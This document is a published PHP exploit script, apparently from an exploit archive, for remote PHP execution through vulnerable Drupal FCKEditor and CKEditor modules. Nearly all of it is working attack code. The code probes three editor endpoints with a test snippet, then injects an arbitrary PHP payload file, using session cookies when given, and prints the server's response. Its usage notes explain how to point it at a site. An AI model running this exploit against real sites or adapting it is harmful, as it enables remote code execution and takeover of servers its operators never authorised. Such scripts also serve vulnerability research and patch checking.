Drupal FCKEditor/CKEditor PHP Execution

`<?php  
# Exploit Title: Drupal FCKEditor/CKEditor module remote PHP execution  
# Date: March 19, 2012  
# Author: Patroscon  
# Software Link: http://drupal.org/project/ckeditor, http://drupal.org/project/fckeditor  
# Version: FCKEditor 6.x-2.2, CKEditor 6.x-1.8, CKEditor 7.x-1.6.  
# Tested on: Linux, Windows  
# Vendor Advisory: http://drupal.org/node/1482528  
  
  
# Description  
#  
# It is possible to instruct FCKEditor and CKEditor module to pass text trough a chosen filter.  
# If the PHP filter module is enabled, users can chose to run this filter on chosen code.  
#  
# See http://drupal.org/1482528  
  
/*  
* Patroscon has RISEN!  
*  
* Exploits SA-CONTRIB-2012-040 (http://drupal.org/node/1482528).  
*  
* Required: vulnerable site must also use PHP filter module.  
* Required for Drupal 6 exploit: You must have access permission listed in advisory.  
*  
* Point to the Drupal root.  
*  
* Use php patroscon.php http://example.com/ [cookie] [payloadfile]  
*  
* example:  
*  
* To check if the site can be exploited: php patroscon.php http://example.com/  
* If you need a cookie: php patroscon.php http://example.com/ 'SESSa6a82714802c2c37ba16036f1faf01d4=g6TYq0r2mT8wCTQTKiYl6x2lIdRL1H21Db5CbomcKqU'  
*  
* It's possible to provide a filename with PHP exploit code. It will be executed when detection was succesful. When you provide the payload file  
* you must also provide a cookie argument. This may be a nonsense cookie.  
*  
* example:  
*  
* php patroscon.php http://example.com/ 'whatever' ./admin_sid.php  
*  
* Exploit code must be wrapped in <?php ?> tags. See admin_sid.php for an example.  
*  
*/  
  
if (!isset($argv[1])) {  
echo "You must give URL such as http://example.com/";  
return;  
}  
  
$site = $argv[1];  
$cookie = isset($argv[2]) ? $argv[2] : '';  
$payloadfile = isset($argv[3]) ? $argv[3] : '';  
  
$exploits = array(  
'fckeditor' => array(  
'path' => 'fckeditor/xss',  
'pre' => 'filters[0]=php/0&text=',  
),  
'ckeditor v6' => array(  
'path' => 'ckeditor/xss',  
'pre' => 'filters[0]=php/0&text=',  
),  
'ckeditor v7' => array(  
'path' => 'ckeditor/xss',  
'pre' => 'filters[0]=aaa&textformat_filters=true&input_format=php_code&text=',  
),  
);  
  
echo "\nWorking on $site";  
foreach ($exploits as $editor => $exploit) {  
echo "\n - $editor";  
$url = $site . '/?q=' . urlencode($exploit['path']);  
$result = post($url, $exploit['pre'] . urlencode("<?php echo base64_decode('cGF0cm9zY29uIGhhcyByaXNlbg=='); ?>"), $cookie);  
  
switch ($result['info']['http_code']) {  
case 200:  
if ($result['content'] == 'patroscon has risen') {  
echo "\n - exploitable";  
if ($payloadfile) {  
echo "\n - injecting payload";  
$payload = file_get_contents($payloadfile);  
$result = post($url, $exploit['pre'] . urlencode($payload), $cookie);  
echo "\n\n********* Payload result [{$result['info']['http_code']}] ******************************************************************";  
echo "\n" . $result['content'];  
echo "\n********** End payload **************************************************************************";  
}  
echo "\n";  
return;  
}  
else {  
echo "\n - unable to execute PHP";  
}  
break;  
case 404:  
echo "\n - not installed";  
break;  
case 403:  
echo "\n - access denied";  
break;  
default:  
echo "\n - an unknown error occured.";  
}  
}  
  
echo "\n";  
  
function post($url, $fields, $cookie) {  
$handle = curl_init($url);  
if (!$handle) {  
return;  
}  
  
curl_setopt_array($handle, array(  
CURLOPT_POST => TRUE,  
CURLOPT_POSTFIELDS => $fields,  
CURLOPT_RETURNTRANSFER => TRUE,  
CURLOPT_COOKIE => $cookie,  
));  
  
$result = curl_exec($handle);  
$info = curl_getinfo($handle);  
  
curl_close($handle);  
return array('content' => $result, 'info' => $info);  
}  
`